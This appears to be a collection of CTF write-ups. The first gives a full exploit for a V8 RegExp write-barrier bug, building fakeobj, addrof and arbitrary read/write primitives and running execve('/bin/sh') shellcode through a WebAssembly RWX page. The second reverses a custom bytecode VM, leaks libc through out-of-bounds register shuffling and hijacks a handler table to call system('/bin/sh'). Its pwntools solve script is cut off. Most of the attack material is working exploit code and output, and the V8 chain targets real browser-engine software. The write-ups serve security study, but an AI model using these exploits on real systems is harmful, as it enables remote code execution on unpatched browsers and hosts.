[24846:0x5587f7ad2000] 4 ms: Scavenge 0.6 (3.0) -> 0.6 (3.0) MB, 0.04 / 0.00 ms (average mu = 0.488, current mu = 0.488) external memory pressure;
[24846:0x5587f7ad2000] 4 ms: Scavenge 0.6 (3.0) -> 0.6 (3.0) MB, 0.04 / 0.00 ms (average mu = 0.488, current mu = 0.488) external memory pressure;
[24846:0x5587f7ad2000] 4 ms: Scavenge 0.6 (3.0) -> 0.6 (3.0) MB, 0.03 / 0.00 ms (average mu = 0.488, current mu = 0.488) external memory pressure;
0x279c0019a811 <JSRegExp <String[4]: #leet>>
0x279c00282421 <JSArray[20]>
0x279c00282389 <JSArray[20]>
V8 version 12.2.0 (candidate)
d8>
Below is the script to get a fake double array object.
roots = new Array(0x20000);
index = 0;
function major_gc() {
new ArrayBuffer(0x40000000);
}
function minor_gc() {
for (var i = 0; i < 8; i++) {
roots[index++] = new ArrayBuffer(0x200000);
}
roots[index++] = new ArrayBuffer(8);
}
function hex(i) {
return "0x" + i.toString(16)
}
var re = new RegExp("leet", "g");
var exec_bak = RegExp.prototype.exec; // backup original exec()
RegExp.prototype.exec = function () { return null; };
var n = 1073741824;
re.exec = function () {
new Array(0x0d);
re.lastIndex = n;
delete re.exec; // to pass `HasInitialRegExpMap` check and falls back to RegExp.prototype.exec to avoid infinite loop
return [""]; // to get into `SetAdvancedStringIndex`
}
major_gc(); // major gc / mark and sweep: forces `re` to move into `OldSpace`
re[Symbol.replace]("", "l33t");
console.assert(re.lastIndex === n + 1); // 1073741825 == 1073741824+1
RegExp.prototype.exec = exec_bak; // restore original exec()
minor_gc();
major_gc();
var fakeobj = re.lastIndex;
// 3.6943954791292419e-311 = 0x000006cd0018ece1
// 0x0018ece1 is address of PACKED_DOUBLE_ELEMENTS map
// 0x000006cd is address of PACKED_DOUBLE_ELEMENTS property
// 0x00282301 is address of our fake double array element (could be any value, adjust to your needs)
// 0x00100000 is the length of our fake double array
// 2.2250738598067922e-308 = 0x0010000000282301
var spray = [
3.6943954791292419e-311, 2.2250738598067922e-308,
3.6943954791292419e-311, 2.2250738598067922e-308,
3.6943954791292419e-311, 2.2250738598067922e-308,
3.6943954791292419e-311, 2.2250738598067922e-308,
3.6943954791292419e-311, 2.2250738598067922e-308,
3.6943954791292419e-311, 2.2250738598067922e-308,
3.6943954791292419e-311, 2.2250738598067922e-308,
3.6943954791292419e-311, 2.2250738598067922e-308,
3.6943954791292419e-311, 2.2250738598067922e-308,
3.6943954791292419e-311, 2.2250738598067922e-308,
3.6943954791292419e-311, 2.2250738598067922e-308,
];
var fakelen = 0x00100000n;
console.assert(BigInt(fakeobj.length) === fakelen >> 1n);
console.log(`[*] fakeobj double array with length = ${hex(fakeobj.length)}`);
eval("%DebugPrint(fakeobj)")
$ ./d8 --allow-natives-syntax ./idk.js
[*] fakeobj double array with length = 0x80000
0x15b5002821a1 <JSArray[524288]>
Now, since we have complete control over what object we could fake, let's try
to build other primitives, e.g., addrof
and caged arbitrary address read/write.
addrof primitive
To craft addrof
primitive, we would need another helper array to store our
target object address. Next, we would need to get this array object element
pointer such that we could use it on our fake array object. This value can be
easily obtained from debugger.
$ ./d8 --allow-natives-syntax --shell ./idk.js
[*] fakeobj double array with length = 0x80000
0x37ec002822a9 <JSArray[2]>
V8 version 12.2.0 (candidate)
d8>
gef> tele 0x37ec002822a9-0x1
0x37ec002822a8|+0x0000|+000: 0x000006cd0018ed61
0x37ec002822b0|+0x0008|+001: 0x0000000400282299 # 0x00282299
buf = new ArrayBuffer(8);
float_view = new Float64Array(buf);
u64_view = new BigUint64Array(buf);
function itof(i) {
u64_view[0] = i;
return float_view[0];
}
function ftoi(f) {
float_view[0] = f;
return u64_view[0];
}
function lo(x) {
return x & BigInt(0xffffffff);
}
function hi(x) {
return (x >> 32n) & BigInt(0xffffffff);
}
var idx = 13;
var addrof_arr = [spray, 0];
let addrof_arr_el = 0x282299n;
function addrof(o) {
spray[idx] = itof(addrof_arr_el | (fakelen << 32n));
addrof_arr[0] = o;
return lo(ftoi(fakeobj[0]));
}
console.log(hex(addrof(addrof_arr)));
eval("%DebugPrint(addrof_arr)");
$ ./d8 --allow-natives-syntax ./idk.js
[*] fakeobj double array with length = 0x80000
0x2822a9
0x2683002822a9 <JSArray[2]>
Caged Arbitrary Address Read/Write Primitive
To get caged arbitrary address read/write primitive, we just need to adjust our fake double array element pointer to memory address we want to act on.
function cread32(addr) {
let el_addr = (BigInt(addr) - 0x8n) | 0x1n;
spray[offset] = itof(el_addr | fakelen << 32n);
return lo(ftoi(fakeobj[0]));
}
function cread64(addr) {
let el_addr = (BigInt(addr) - 0x8n) | 0x1n;
spray[offset] = itof(el_addr | fakelen << 32n);
return ftoi(fakeobj[0]);
}
function cwrite32(addr, data) {
let temp = cread32(addr+4n);
let el_addr = (BigInt(addr) - 0x8n) | 0x1n;
spray[offset] = itof(el_addr | fakelen << 32n);
fakeobj[0] = itof(data | temp << 32n)
}
function cwrite64(addr, data) {
let el_addr = (BigInt(addr) - 0x8n) | 0x1n;
spray[offset] = itof(el_addr | fakelen << 32n);
fakeobj[0] = itof(data)
}
let test = [6.6, 7.7]
// trying to read test[0] by getting &test.elements
let test_addr = addrof(test)
let test_el_addr = cread32(test_addr+8n)
let test_0 = cread64(test_el_addr+8n)
console.log(itof(test_0), "===", test[0])
// trying to modify test[0] and test[1] with our write primitive
console.log(hex(ftoi(test[0])))
console.log(hex(ftoi(test[1])))
cwrite32(test_el_addr+8n, 0x13371337n)
cwrite64(test_el_addr+8n+8n, 0xdeadbeefcafebaben)
console.log(hex(ftoi(test[0])))
console.log(hex(ftoi(test[1])))
$ ./d8 ./idk.js
[*] fakeobj double array with length = 0x80000
6.6 === 6.6
0x401a666666666666
0x401ecccccccccccd
0x401a666613371337
0xdeadbeefcafebabe
Code Execution
To gain code execution, we exploit the fact that wasm instance object stores a raw
uncompressed pointer to a RWX
memory page and overwrite it to point to our
shellcode which we crafted as part of our wasm code. More details on this could
be found in my post for bi0sCTF 2024 - ezv8 revenge.
Final Solve Script
// ====================
// | Helper Functions |
// ====================
roots = new Array(0x20000);
index = 0;
function major_gc() {
new ArrayBuffer(0x40000000);
}
function minor_gc() {
for (var i = 0; i < 8; i++) {
roots[index++] = new ArrayBuffer(0x200000);
}
roots[index++] = new ArrayBuffer(8);
}
function hex(i) {
return "0x" + i.toString(16)
}
buf = new ArrayBuffer(8);
float_view = new Float64Array(buf);
u64_view = new BigUint64Array(buf);
function itof(i) {
u64_view[0] = i;
return float_view[0];
}
function ftoi(f) {
float_view[0] = f;
return u64_view[0];
}
function lo(x) {
return BigInt(x) & BigInt(0xffffffff);
}
function hi(x) {
return (BigInt(x) >> 32n) & BigInt(0xffffffff);
}
// ===========
// | Exploit |
// ===========
var re = new RegExp("leet", "g");
var exec_bak = RegExp.prototype.exec; // backup original exec()
RegExp.prototype.exec = function () { return null; };
var n = 1073741824;
re.exec = function () {
new Array(0x0d);
re.lastIndex = n;
delete re.exec; // to pass `HasInitialRegExpMap` check and falls back to RegExp.prototype.exec to avoid infinite loop
return [""]; // to get into `SetAdvancedStringIndex`
}
major_gc(); // major gc / mark and sweep: forces `re` to move into `OldSpace`
re[Symbol.replace]("", "l33t");
console.assert(re.lastIndex === n + 1); // 1073741825 == 1073741824+1
RegExp.prototype.exec = exec_bak; // restore original exec()
minor_gc();
major_gc();
var fakeobj = re.lastIndex;
// 3.6943954791292419e-311 = 0x000006cd0018ece1
// 0x0018ece1 is address of PACKED_DOUBLE_ELEMENTS map
// 0x000006cd is address of PACKED_DOUBLE_ELEMENTS property
// 0x00282301 is address of our fake double array element (could be any value, adjust to your needs)
// 0x00100000 is the length of our fake double array
// 2.2250738598067922e-308 = 0x0010000000282301
var spray = [
3.6943954791292419e-311, 2.2250738598067922e-308,
3.6943954791292419e-311, 2.2250738598067922e-308,
3.6943954791292419e-311, 2.2250738598067922e-308,
3.6943954791292419e-311, 2.2250738598067922e-308,
3.6943954791292419e-311, 2.2250738598067922e-308,
3.6943954791292419e-311, 2.2250738598067922e-308,
3.6943954791292419e-311, 2.2250738598067922e-308,
3.6943954791292419e-311, 2.2250738598067922e-308,
3.6943954791292419e-311, 2.2250738598067922e-308,
3.6943954791292419e-311, 2.2250738598067922e-308,
3.6943954791292419e-311, 2.2250738598067922e-308,
];
var fakelen = 0x00100000n;
console.assert(BigInt(fakeobj.length) === fakelen >> 1n);
console.log(`[*] fakeobj double array with length = ${hex(fakeobj.length)}`);
var idx = 13;
var addrof_arr = [spray, 0];
eval("%DebugPrint(addrof_arr)")
let addrof_arr_el = 0x282299n;
function addrof(o) {
spray[idx] = itof(addrof_arr_el | (fakelen << 32n));
addrof_arr[0] = o;
return lo(ftoi(fakeobj[0]));
}
function cread32(addr) {
let el_addr = (BigInt(addr) - 0x8n) | 0x1n;
spray[idx] = itof(el_addr | fakelen << 32n);
return lo(ftoi(fakeobj[0]));
}
function cread64(addr) {
let el_addr = (BigInt(addr) - 0x8n) | 0x1n;
spray[idx] = itof(el_addr | fakelen << 32n);
return ftoi(fakeobj[0]);
}
function cwrite32(addr, data) {
let temp = cread32(addr+4n);
let el_addr = (BigInt(addr) - 0x8n) | 0x1n;
spray[idx] = itof(el_addr | fakelen << 32n);
fakeobj[0] = itof(data | temp << 32n)
}
function cwrite64(addr, data) {
let el_addr = (BigInt(addr) - 0x8n) | 0x1n;
spray[idx] = itof(el_addr | fakelen << 32n);
fakeobj[0] = itof(data)
}
/*
(module
(func (export "main") (result f64)
f64.const 1.617548436999262e-270
f64.const 1.6181477269733566e-270
f64.const 1.6305238557700824e-270
f64.const 1.6477681441619941e-270
f64.const 1.6456891197542608e-270
f64.const 1.6304734321072042e-270
f64.const 1.6305242777505848e-270
drop
drop
drop
drop
drop
drop
)
(func (export "pwn"))
)
*/
var code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 8, 2, 96, 0, 1, 124, 96, 0, 0, 3, 3, 2, 0, 1, 7, 14, 2, 4, 109, 97, 105, 110, 0, 0, 3, 112, 119, 110, 0, 1, 10, 76, 2, 71, 0, 68, 104, 110, 47, 115, 104, 88, 235, 7, 68, 104, 47, 98, 105, 0, 91, 235, 7, 68, 72, 193, 224, 24, 144, 144, 235, 7, 68, 72, 1, 216, 72, 49, 219, 235, 7, 68, 80, 72, 137, 231, 49, 210, 235, 7, 68, 49, 246, 106, 59, 88, 144, 235, 7, 68, 15, 5, 144, 144, 144, 144, 235, 7, 26, 26, 26, 26, 26, 26, 11, 2, 0, 11]);
var module = new WebAssembly.Module(code);
var instance = new WebAssembly.Instance(module, {});
var wmain = instance.exports.main;
for (let j = 0x0; j < 20000; j++) {
wmain();
}
instance_addr = addrof(instance);
jump_table_start = instance_addr + 0x48n;
rwx_addr = cread64(jump_table_start);
sc_addr = rwx_addr + 0x81an - 0x5n;
console.log("[+] Shellcode @", hex(sc_addr+0x5n));
console.log("[+] Overwriting WasmInstanceObject jump_table_start to point to our shellcode");
cwrite32(jump_table_start, sc_addr & BigInt(2**32-1));
// to trigger jmp to address pointed by jump_table_start, we need another new function
var pwn = instance.exports.pwn;
console.log("[+] Executing shellcode");
pwn();
Reference
- https://issues.chromium.org/issues/40059133
- https://v8.dev/blog/concurrent-marking
- https://v8.dev/blog/trash-talk
- https://zhuanlan.zhihu.com/p/545824240?utm_id=0
- https://media.defcon.org/DEF%20CON%2031/DEF%20CON%2031%20presentations/Bohan%20Liu%20Zheng%20Wang%20GuanCheng%20Li%20-%20ndays%20are%20also%200days%20Can%20hackers%20launch%200day%20RCE%20attack%20on%20popular%20softwares%20only%20with%20chromium%20ndays.pdf
- https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/@@replace#examples
- https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/lastIndex#examples
- V8 Garbage Collection Note
Appendix
OSINT
Before I managed to find the corresponding CVE identifier, I was looking around
the history of src/regexp/regexp-utils.cc
file and found a commit
message concerning write barrier. The detail on this commit message also link
the chromium bug tracker ID 1307610
. Using this ID, I managed to find out the
chromium issue tracker website and search the said ID.
note
Another way is to click on the chromium review link then click on the chromium bug hyperlink.
In this issue tracking page, the author provides proof-of-concept (PoC) on how to reproduce the vulnerability.
b01lers CTF 2024
pwn
Challenge Name | Keywords | Summary |
---|---|---|
mixtpeailbc | custom VM, oob | custom VM with instructions to swap instruction handlers and registers without bound checking, using swap registers to leak libc address and swap instruction handlers to spawn a shell |
mixtpeailbc
Author: Athryx
Description: Can you make this bytecode vm execute real code? This challenge uses the same binary as mixtape.
Attachment: mixtpeailbc.tar.gz
Keywords
b01lers CTF 2024, pwn, custom VM, oobTL;DR
This VM contains instructions to swap instruction handler and registers where the indices come from the VM bytecode memory referenced by the value of register plus an offset without any bound checking. This vulnerability leads to OOB read to leak libc address and eventually swap one of the instruction handler with user controlled function.
Reversing the VM
note
Snippet of the reversed VM source code can be viewed in the appendix section
The VM object is first allocated in the stack and its memory is divided into three logical parts:
- instruction handler table (39 entries, 0x138 bytes)
- registers (indexed from 0-255, 0x800 bytes)
- bytecode (0x8000 bytes)
The instructions is made up of 4 bytes, where:
- 1st byte is the index to the instruction handler table
- 2nd, 3rd, and 4th bytes are reserved for operand 1, operand 2, and operand 3
The operands could be either an immediate value or the index of the registers.
The only important register is the first register, r0
, which acts as an instruction
pointer.
Here is the brief description of the instructions that may interest us:
note
the first argument refers to operand 1, the second argument refers to operand 2, and the third argument refers to operand 3
ropN
refers to operand N
, where the value is used as the index of the registers (vm.regs.rX[opN]
)
instruction | description |
---|---|
vm_next_insn() | get the next instruction by adding 4 to r0 |
vm_mov_r_mem(rop1, rop2, op3) | rop1 = (uint64_t)vm.bytecode[rop2+op3] with bound checking |
vm_mov_mem_r(rop1, rop2, op3) | vm.bytecode[rop2+op3] = (uint64_t)rop1 with bound checking |
vm_rearrange_vtable(op3, rop2, op3) | rearrange the vtable with indices stored from vm.bytecode[rop2+op3] to vm.bytecode[rop2+op3+25] without bound checking |
vm_rearrange_regs(op3, rop2, op3) | rearrange op1 number of registers with indices stored from vm.bytecode[rop2+op3] to vm.bytecode[rop2+op3+op1-1] without bound checking |
vm_set_r_16(rop1, op2) | clears out all bits, then set bit 00-15 of rop1 with 16-bit values spanning from op2 to op3 |
vm_set_r_32(rop1, op2) | set bit 16-31 of rop1 with 16-bit values spanning from op2 to op3 |
vm_set_r_48(rop1, op2) | set bit 32-47 of rop1 with 16-bit values spanning from op2 to op3 |
vm_set_r_64(rop1, op2) | set bit 48-63 of rop1 with 16-bit values spanning from op2 to op3 |
vm_set_r0(rop1, op2) | set r0 to rop1 + 16-bit values spanning from op2 to op3 |
vm_putc(op1, rop2, op3) | read op1 bytes of value from vm.bytecode[rop2+op3] and print it to stdout, with bound checking |
vm_getc(op1, rop2, op3) | write to vm.bytecode[rop2+op3] with op1 bytes of input from stdin, with bound checking |
vm_movb_r_mem(rop1, rop2, op3) | rop1 = (uint8_t)vm.bytecode[rop2+op3] with bound checking |
vm_setb_mem_r(rop1, rop2, op3) | vm.bytecode[rop2+op3] = (uint8_t)rop1 with bound checking |
vm_X_rop1_rop2_rop3 | rop1 = rop2 X rop3 , where X is either add , sub , mul , div , or , and , xor , shl |
vm_X_rop1_rop2_op3 | rop1 = rop2 X op3 , where X is either add , sub , mul , div , or , and , xor , shl |
As can be seen, most instruction has bound checking except for both vm_rearrange_vtable
and vm_rearrange_regs
.
Let us delve into both of these functions and see how we could leak and eventually hijack the control flow.
Leaking libc address via vm_rearrange_regs
In this function, we are free to use any memory address relative to vm.bytecode
and use the values there as the indices for shuffling.
unsigned __int64 __fastcall vm_rearrange_regs(s_vm *vm, unsigned int insn)
{
unsigned __int8 op1; // [rsp+17h] [rbp-829h]
unsigned __int64 i; // [rsp+18h] [rbp-828h]
unsigned __int64 j; // [rsp+20h] [rbp-820h]
unsigned __int8 *ptr; // [rsp+28h] [rbp-818h]
__int64 saved_regs[256]; // [rsp+30h] [rbp-810h]
unsigned __int64 canary; // [rsp+838h] [rbp-8h]
canary = __readfsqword(0x28u);
op1 = vm_get_op1(insn);
// potential oob
ptr = &vm->bytecode[vm_add_rop2_op3(vm, insn)];
for ( i = 0LL; i <= 0xFF; ++i )
saved_regs[i] = vm->regs.rX[i];
for ( j = 0LL; j < op1; ++j )
vm->regs.rX[j] = saved_regs[ptr[j]];
_vm_next_insn(vm);
return __readfsqword(0x28u) ^ canary;
}
Since the vm
object is located on the stack, this means that there is a high
chance that the neighboring memory address contains valuable data, for instance,
libc addresses.
In general, the function main()
would return to the middle of __libc_start_main
,
which is part of the libc memory region. Coincidentally, vm
lives inside main()
function stack frame, so we could calculate the distance easily.
+---------------------+
| instruction handler |
| table |
+---------------------+
| registers |
+---------------------+
| bytecode | bytecode[0] until bytecode[0x7fff]
+---------------------+
| canary | bytecode[0x8000]
+---------------------+
| saved rbp | bytecode[0x8008]
+---------------------+
| saved rip | bytecode[0x8010] == __libc_start_main_ret
+---------------------+
Now, let's observe how we could leak stuff with this instruction.
vm_rearrange_regs(8, 0x10, 0x00)
vm.bytecode[0x10] = A
vm.bytecode[0x11] = B
vm.bytecode[0x12] = C
vm.bytecode[0x13] = D
vm.bytecode[0x14] = E
vm.bytecode[0x15] = F
vm.bytecode[0x16] = G
vm.bytecode[0x17] = H
The instruction above would modify r0
through r7
and results in
r0 = rA
r1 = rB
r2 = rC
r3 = rD
r4 = rE
r5 = rF
r6 = rG
r7 = rH
However, notice that the value of rA
, rB
, rC
, etc., may not correlate
directly with the value that we wanted to leak, unless we set each registers
with the value of its index (luckily, we just have the perfect number of registers, 256,
to correlate with a one byte value, how coincidental!).
r1 = 1
r2 = 2
r3 = 3
r4 = 4
r5 = 5
...
r252 = 252
r253 = 253
r254 = 254
r255 = 255
As a result, our r0
- r7
would just contain the leak value itself.
Next, notice that each 8-bit value of the 64-bit value that we want to leak ends up in different registers. We could concatenate these registers into a single register like this
xor r8, r8, r8
shl r8, r8, 0x8
add r8, r8, r7
shl r8, r8, 0x8
add r8, r8, r6
shl r8, r8, 0x8
add r8, r8, r5
shl r8, r8, 0x8
add r8, r8, r4
shl r8, r8, 0x8
add r8, r8, r3
shl r8, r8, 0x8
add r8, r8, r2
shl r8, r8, 0x8
add r8, r8, r1
Now, r8
is exactly the value that we want to leak. One last caveat is that
we changed r0
which means that we need to carefully crafts our bytecode such
that it continues execution as expected. Since size of bytecode requires to
setup from r1
to r255
is already larger than 0x100
and our r0
might end
up somewhere in between 0x00
and 0xff
, we need this setup code to be located
above 0x100
, e.g., at offset 0x400
. And to reach this piece of code, we
would need to use vm_set_r0
to set our r0
accordingly. Finally, we would
want to continue writing our code at r0 + 4
after the shuffle has happened.
# $ pwn libcdb file ./libc.so.6
__libc_start_main_ret = 0x24083
bytecode = b""
# jump to insn @ 0x400 to leak libc
bytecode += VM_SET_R0(0x10, 0x400)
bytecode = bytecode.ljust((__libc_start_main_ret & 0xff) + 4, b"\x00")
# bytecode continuation after executing vm_rearrange_regs
bytecode += VM_EXIT()
# bytecode to leak libc
bytecode = bytecode.ljust(0x400, b"\x00")
# sets each registers value to its own index value
for i in range(1, 256):
bytecode += VM_SET_R_16(i, i)
# oob read @ bytecode[0x8010] == __libc_start_main_ret
# set r10 = 0x8010
bytecode += VM_SET_R_16(0x10, 0x8010)
# __libc_start_main_ret bytes goes into r0, r1, r2, r3, r4, r5, r6
# __libc_start_main_ret is 0x24083, so r0 changes to 0x83 and after shuffle
# the next instruction to be executed is at 0x83 + 0x4 = 0x87
bytecode += VM_SHUFFLE_REGS(6, 0x10, 0)
Control Flow Hijacking via vm_rearrange_vtable
Similar to vm_rearrange_regs
, we are free to use any memory address relative
to vm.bytecode
to modify our instruction handler table. However, we are not
going to use this oob. Instead, we would use saved_vtable[idx]
as our oob
vector to copy values from vm.regs
.
note
This does not work previously on vm_rearrange_regs
since the size of
saved_regs
is just in the range of idx
(0x00
- 0xff
).
unsigned __int64 __fastcall vm_rearrange_vtable(s_vm *vm, unsigned int insn)
{
unsigned __int64 i; // [rsp+18h] [rbp-158h]
unsigned __int64 j; // [rsp+20h] [rbp-150h]
unsigned __int8 *ptr; // [rsp+28h] [rbp-148h]
__int64 saved_vtable[39]; // [rsp+30h] [rbp-140h]
unsigned __int64 canary; // [rsp+168h] [rbp-8h]
canary = __readfsqword(0x28u);
// potential oob
ptr = &vm->bytecode[vm_add_rop2_op3(vm, insn)];
for ( i = 0LL; i <= 0x26; ++i )
saved_vtable[i] = vm->vtable[i];
for ( j = 0LL; j <= 0x26; ++j )
vm->vtable[j] = saved_vtable[ptr[j]];
_vm_next_insn(vm);
return __readfsqword(0x28u) ^ canary;
}
Since the idx
in saved_vtable[idx]
is an 8-bit value, we need to find
neighboring memory address that we could fully control.
+---------------------+
| saved_vtable |
+---------------------+
| ... |
+---------------------+
| instruction handler |
| table |
+---------------------+
| registers |
+---------------------+
Fortunately, with an 8-bit idx
, we are able to reach the memory region of our
vm.regs
in which we can populate with any value that we want.
Now, we just need to setup the value we want to overwrite our instruction handler
with, on one of the registers.
Looking at the line of code which calls the instruction handler, we could see that we have control over the first and second arguments.
((void (__fastcall *)(s_vm *, _QWORD))vm->vtable[v1])(vm, insn);
-
Option 1:
system("/bin/sh")
Since
vm
==&vm.vtable[0]
, if we overwritevm.vtable[0]
with the string of/bin/sh
and overwritevm.vtable[1]
withsystem
function address, this would just end up callingsystem("/bin/sh")
-
Option 2:
one_gadget
Another way to pop a shell is to use this
one_gadget
.0xe3b04 execve("/bin/sh", rsi, rdx) constraints: [rsi] == NULL || rsi == NULL [rdx] == NULL || rdx == NULL
# $ pwn libcdb file ./libc.so.6
__libc_start_main_ret = 0x24083
bytecode = b""
# jump to insn @ 0x400 to leak libc
bytecode += VM_SET_R0(0x10, 0x400)
bytecode = bytecode.ljust((__libc_start_main_ret & 0xff) + 4, b"\x00")
# bytecode continuation after executing vm_rearrange_regs
for i in range(1, 6):
bytecode += VM_AND_R_R_IMM(i, i, 0xFF)
# combine everything into one register r10
bytecode += VM_XOR_R_R_R(0x10, 0x10, 0x10)
for i in range(1, 6):
bytecode += VM_SHL_R_R_IMM(0x10, 0x10, 0x8)
bytecode += VM_ADD_R_R_R(0x10, 0x10, 6 - i)
bytecode += VM_SHL_R_R_IMM(0x10, 0x10, 0x8)
# set __libc_start_main_ret offset to r11
bytecode += VM_SET_R_16(0x11, 0x4000)
bytecode += VM_SET_R_32(0x11, 0x2)
bytecode += VM_SUB_R_R_R(0x10, 0x10, 0x11)
# now r10 = libc base address
system = libc.sym["system"]
bytecode += VM_XOR_R_R_R(0x15, 0x15, 0x15)
# set system function offset to r15
bytecode += VM_SET_R_16(0x15, system & 0xFFFF)
bytecode += VM_SET_R_32(0x15, (system >> 16) & 0xFFFF)
bytecode += VM_XOR_R_R_R(0x13, 0x13, 0x13)
bytecode += VM_ADD_R_R_R(0x13, 0x10, 0x15)
# set /bin/sh string to r14
bytecode += VM_XOR_R_R_R(0x14, 0x14, 0x14)
bytecode += VM_SET_R_16(0x14, u16(b"/b"))
bytecode += VM_SET_R_32(0x14, u16(b"in"))
bytecode += VM_SET_R_48(0x14, u16(b"/s"))
bytecode += VM_SET_R_64(0x14, u16(b"h\x00"))
# write 0x6f @ bytecode[0x4000]
# write 0x6e @ bytecode[0x4001]
bytecode += VM_XOR_R_R_R(0x11, 0x11, 0x11)
bytecode += VM_SET_R_16(0x11, 0x4000)
bytecode += VM_SET_R_16(0x12, 0x6F)
bytecode += VM_SETB_MEM_R(0x12, 0x11, 0x00)
bytecode += VM_SET_R_16(0x12, 0x6E)
bytecode += VM_SETB_MEM_R(0x12, 0x11, 0x01)
# shuffle vtable where vm->vtable[0] = vtable[0x6f] which contains
# "/bin/sh" string and vm->vtable[1] = vtable[0x6e] which contains
# system function address
bytecode += VM_SHUFFLE_VTABLES(0x2, 0x11, 0x00)
# call system
bytecode += VM_MOV_R_MEM(0, 0, 0)
bytecode += VM_EXIT()
# bytecode to leak libc
bytecode = bytecode.ljust(0x400, b"\x00")
# sets each registers value to its own index value
for i in range(1, 256):
bytecode += VM_SET_R_16(i, i)
# oob read @ bytecode[0x8010] == __libc_start_main_ret
# set r10 = 0x8010
bytecode += VM_SET_R_16(0x10, 0x8010)
# __libc_start_main_ret bytes goes into r0, r1, r2, r3, r4, r5, r6
# __libc_start_main_ret is 0x24083, so r0 changes to 0x83 and after shuffle
# the next instruction to be executed is at 0x83 + 0x4 = 0x87
bytecode += VM_SHUFFLE_REGS(6, 0x10, 0)
Final Solve Script
#!/usr/bin/env python3
# type: ignore
# flake8: noqa
import tempfile
from base64 import b64encode
from pwn import *
elf = context.binary = ELF("./mixtape", checksec=False)
libc = elf.libc
context.terminal = ["tmux", "neww"]
def VM_NEXT_INSN(op1=0, op2=0, op3=0):
return p8(0) + p8(op1) + p8(op2) + p8(op3)
def VM_MOV_R_MEM(r_dest, r_base, offset):
"""
mov r_op1, mem[r_op2+op3]
"""
return p8(1) + p8(r_dest) + p8(r_base) + p8(offset)
def VM_MOV_MEM_R(r_src, r_base, offset):
"""
mov r_op1, mem[r_op2+op3]
"""
return p8(2) + p8(r_src) + p8(r_base) + p8(offset)
def VM_SHUFFLE_VTABLES(op1, r_op2, op3):
return p8(3) + p8(op1) + p8(r_op2) + p8(op3)
def VM_SHUFFLE_REGS(op1, r_op2, op3):
"""
op1 = number of regs
"""
return p8(4) + p8(op1) + p8(r_op2) + p8(op3)
def VM_EXIT(op1=0, op2=0, op3=0):
"""
exit
"""
return p8(5) + p8(op1) + p8(op2) + p8(op3)
def VM_SET_R_16(r_dest, imm):
"""
set lowest 16-bit
"""
return p8(6) + p8(r_dest) + p16(imm)
def VM_SET_R_32(r_dest, imm):
"""
or r_op1, op2 << 16
set bit 16 to 31
"""
return p8(7) + p8(r_dest) + p16(imm)
def VM_SET_R_48(r_dest, imm):
"""
or r_op1, op2 << 32
set bit 32 to 47
"""
return p8(8) + p8(r_dest) + p16(imm)
def VM_SET_R_64(r_dest, imm):
"""
or r_op1, op2 << 48
set bit 48 to 63
"""
return p8(9) + p8(r_dest) + p16(imm)
def VM_CMP_R_R(r_dest, r_op2, r_op3):
"""
if r_op2 == r_op3 then r_dest = 1
if r_op2 < r_op3 then r_dest = 2
else r_dest = 0
"""
return p8(10) + p8(r_dest) + p8(r_op2) + p8(r_op3)
def VM_CMP_R_IMM(r_dest, r_op2, imm):
"""
if r_op2 == imm then r_dest = 1
if r_op2 < imm then r_dest = 2
else r_dest = 0
"""
return p8(11) + p8(r_dest) + p8(r_op2) + p8(imm)
def VM_SET_R0(r_op1, imm):
"""
lea r0, [r_op1+imm]
"""
return p8(12) + p8(r_op1) + p16(imm)
def VM_ADD_R_R_R(r_dest, r_op2, r_op3):
return p8(19) + p8(r_dest) + p8(r_op2) + p8(r_op3)
def VM_ADD_R_R_IMM(r_dest, r_op2, op3):
return p8(20) + p8(r_dest) + p8(r_op2) + p8(op3)
def VM_SUB_R_R_R(r_dest, r_op2, r_op3):
return p8(21) + p8(r_dest) + p8(r_op2) + p8(r_op3)
def VM_SUB_R_R_IMM(r_dest, r_op2, op3):
return p8(22) + p8(r_dest) + p8(r_op2) + p8(op3)
def VM_AND_R_R_IMM(r_dest, r_op2, op3):
return p8(30) + p8(r_dest) + p8(r_op2) + p8(op3)
def VM_XOR_R_R_R(r_dest, r_op2, r_op3):
return p8(31) + p8(r_dest) + p8(r_op2) + p8(r_op3)
def VM_PUTC(op1, r_op2, op3):
return p8(33) + p8(op1) + p8(r_op2) + p8(op3)
def VM_GETC(op1, r_op2, op3):
return p8(34) + p8(op1) + p8(r_op2) + p8(op3)
def VM_SETB_MEM_R(r_op1, r_op2, op3):
return p8(36) + p8(r_op1) + p8(r_op2) + p8(op3)
def VM_SHL_R_R_IMM(r_dest, r_op2, op3):
return p8(38) + p8(r_dest) + p8(r_op2) + p8(op3)
def start(argv=[], *a, **kw):
nc = "nc gold.b01le.rs 4003"
nc = nc.split()
host = args.HOST or nc[1]
port = int(args.PORT or nc[2])
if args.REMOTE:
return remote(host, port)
else:
args_ = [elf.path] + argv
if args.NA: # NOASLR
args_ = ["setarch", "-R"] + args_
if args.GDB:
return gdb.debug(args=args_, env=env, gdbscript=gdbscript)
return process(args_, env=env, *a, **kw)
env = {}
gdbscript = """
source ~/.gdbinit-gef-bata24.py
b *exec_vm
# b *exec_vm+0x71
b *vm_rearrange_vtable+87
tb *vm_rearrange_regs
c # exec_vm
memory watch $rdi+0x138 0x100 qword
memory watch $rdi+0x938 0x100 dword
c
# b *exec_vm+0x71
"""
# $ pwn libcdb file ./libc.so.6
__libc_start_main_ret = 0x24083
bytecode = b""
# jump to insn @ 0x400 to leak libc
bytecode += VM_SET_R0(0x10, 0x400)
# writing insn @ 0x83+0x4 = 0x87
bytecode = bytecode.ljust((__libc_start_main_ret & 0xFF) + 4, b"\x00")
for i in range(1, 6):
bytecode += VM_AND_R_R_IMM(i, i, 0xFF)
# combine everything into one register r10
bytecode += VM_XOR_R_R_R(0x10, 0x10, 0x10)
for i in range(1, 6):
bytecode += VM_SHL_R_R_IMM(0x10, 0x10, 0x8)
bytecode += VM_ADD_R_R_R(0x10, 0x10, 6 - i)
bytecode += VM_SHL_R_R_IMM(0x10, 0x10, 0x8)
# set __libc_start_main_ret offset to r11
bytecode += VM_SET_R_16(0x11, 0x4000)
bytecode += VM_SET_R_32(0x11, 0x2)
bytecode += VM_SUB_R_R_R(0x10, 0x10, 0x11)
# now r10 = libc base address
system = libc.sym["system"]
bytecode += VM_XOR_R_R_R(0x15, 0x15, 0x15)
# set system function offset to r15
bytecode += VM_SET_R_16(0x15, system & 0xFFFF)
